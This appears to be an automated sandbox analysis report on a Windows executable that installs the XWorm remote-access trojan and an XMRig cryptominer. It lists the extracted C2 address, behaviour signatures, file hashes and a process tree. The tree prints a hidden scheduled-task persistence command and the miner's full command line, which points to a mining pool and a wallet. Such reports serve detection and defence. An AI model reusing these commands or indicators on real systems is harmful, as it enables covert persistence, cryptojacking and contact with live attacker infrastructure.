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Analysis

  • max time kernel
    130s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/11/2024, 10:46

General

  • Target

    PBVIP6November2024.exe

  • Size

    2.4MB

  • MD5

    29b97b3ad71906522b466fce0d9d2f40

  • SHA1

    4438df1e9d100e9998b48044b2e00949f35627a7

  • SHA256

    7e69dd789bf828531848e658682b78cb0c3f35f4b9f1f64c306edff316c1c434

  • SHA512

    06c97e630e3ac8dfb1c0cf94f8e162570ff085876712e132f7c8bd0dd8edeb7ef0bbc08c4a6573fb6206be9fdf18fa7be0a492f2f60e062c58735aeb62f92f99

  • SSDEEP

    49152:M7VXW0U6kcdssPuL3JuX9yXUYtUHjNOeIkpPWKZdA:M71B0cWSgsNQUnHjweTwKZdA

Malware Config

Extracted

Family

xworm

C2

193.161.193.99:58389

Attributes
  • Install_directory

    %AppData%

  • install_file

    windowssession.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xmrig family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\PBVIP6November2024.exe
    "C:\Users\Admin\AppData\Local\Temp\PBVIP6November2024.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1532
    • C:\Users\Admin\AppData\Roaming\Windows Host.exe
      "C:\Users\Admin\AppData\Roaming\Windows Host.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\Windows Host.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\System32\cmd.exe
          "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "windowssystem" /tr "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "windowssystem" /tr "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1672
        • C:\Windows\System32\cmd.exe
          "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4368
          • C:\Users\Admin\AppData\Local\Temp\windowssystem.exe
            C:\Users\Admin\AppData\Local\Temp\windowssystem.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2920
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
              6⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5112
              • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4436
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "/sihost64"
                  8⤵
                    PID:2940
                • C:\Windows\System32\cmd.exe
                  C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=8C8EbmDZNjCJEbqC6kv4co3VGYzDTJUz53yGug6NKcsEFeUwSNnimV9MvU8gwBufjU84BKBzz2Gt8ayU6Lo1TJaR7wwjjff --pass=x --cpu-max-threads-hint=50 --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls
                  7⤵
                  • Blocklisted process makes network request
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2276

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

      Filesize

      539B

      MD5

      b245679121623b152bea5562c173ba11

      SHA1

      47cb7fc4cf67e29a87016a7308cdb8b1b4dc8e3d

      SHA256

      73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f

      SHA512

      75e46843b1eafcc7dc4362630838895b7f399e57662a12bf0305a912c8e726b02e0a760b1b97a2c262b2d05fdb944b9ed81c338ad93e5eb5cb57bc651602e42c

    • C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe

      Filesize

      79KB

      MD5

      2dce07aebd947933be67b3036566a785

      SHA1

      0f4079b8c4cff340bf7a46c9417801333fd1feda

      SHA256

      de61e9687a15d2a4015cd1bf6ba55c0a30a13ab9cc4b36a7d13565a6625ee839

      SHA512

      28b5cd12f847a23562f780ccb613c6f4ae23cc352b1133e32ac76b514a61269f3812c1c6cd01f6a4f61e42968313be7aa386b161e371f96bb38ddc1148d9795a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

      Filesize

      31KB

      MD5

      8a043d9dd43e444209c7c0973c56f1e4

      SHA1

      e7f2ee01e132a29661b18214f1f73dbeaea8cb44

      SHA256

      362142f96ffcbb7e65197b6180151c056e404da8cd06a3e776632b6747fa6b8c

      SHA512

      b5127d22835ebf8af812b075b1f68086589e6fea569a042a9f63d18b4f6c7fae40edfc288cfa13021a6957ad78cd0d72af68ad6f6df00a1bb04d640349925d9c

    • C:\Users\Admin\AppData\Roaming\Windows Host.exe

      Filesize

      2.1MB

      MD5

      b7d694fd502112976646a8263687f602

      SHA1

      c9140674a5b045e888a4ee6b043a0d26fa93d636

      SHA256

      0cc7f4134aca4c6d2ecede8f386a386c1f56458dc7f2af54acd84b3c1bf789a5

      SHA512

      ee346181d3e61c52cb84ad819a4c8bf0b44cd91eb9653c1ca225cf36869178b87e8cbe6c7c6b9a7a3cf83b14cb207e4f85d95662285d8c929b65f069843c58fd

    • memory/1532-24-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

      Filesize

      10.8MB

    • memory/1532-18-0x0000000000710000-0x000000000072A000-memory.dmp

      Filesize

      104KB

    • memory/1532-23-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

      Filesize

      10.8MB

    • memory/1532-25-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

      Filesize

      10.8MB

    • memory/2096-26-0x000001E8459A0000-0x000001E845BC0000-memory.dmp

      Filesize

      2.1MB

    • memory/2096-27-0x000001E860530000-0x000001E860750000-memory.dmp

      Filesize

      2.1MB

    • memory/2096-28-0x000001E847900000-0x000001E847912000-memory.dmp

      Filesize

      72KB

    • memory/2276-46-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-55-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-49-0x0000027A929F0000-0x0000027A92A10000-memory.dmp

      Filesize

      128KB

    • memory/2276-48-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-61-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-50-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-53-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-54-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-51-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-52-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-59-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2276-58-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2940-57-0x000002E3CA980000-0x000002E3CA986000-memory.dmp

      Filesize

      24KB

    • memory/2940-60-0x000002E3CC490000-0x000002E3CC496000-memory.dmp

      Filesize

      24KB

    • memory/4824-1-0x0000000000EB0000-0x000000000111E000-memory.dmp

      Filesize

      2.4MB

    • memory/4824-0-0x00007FFEC6CD3000-0x00007FFEC6CD5000-memory.dmp

      Filesize

      8KB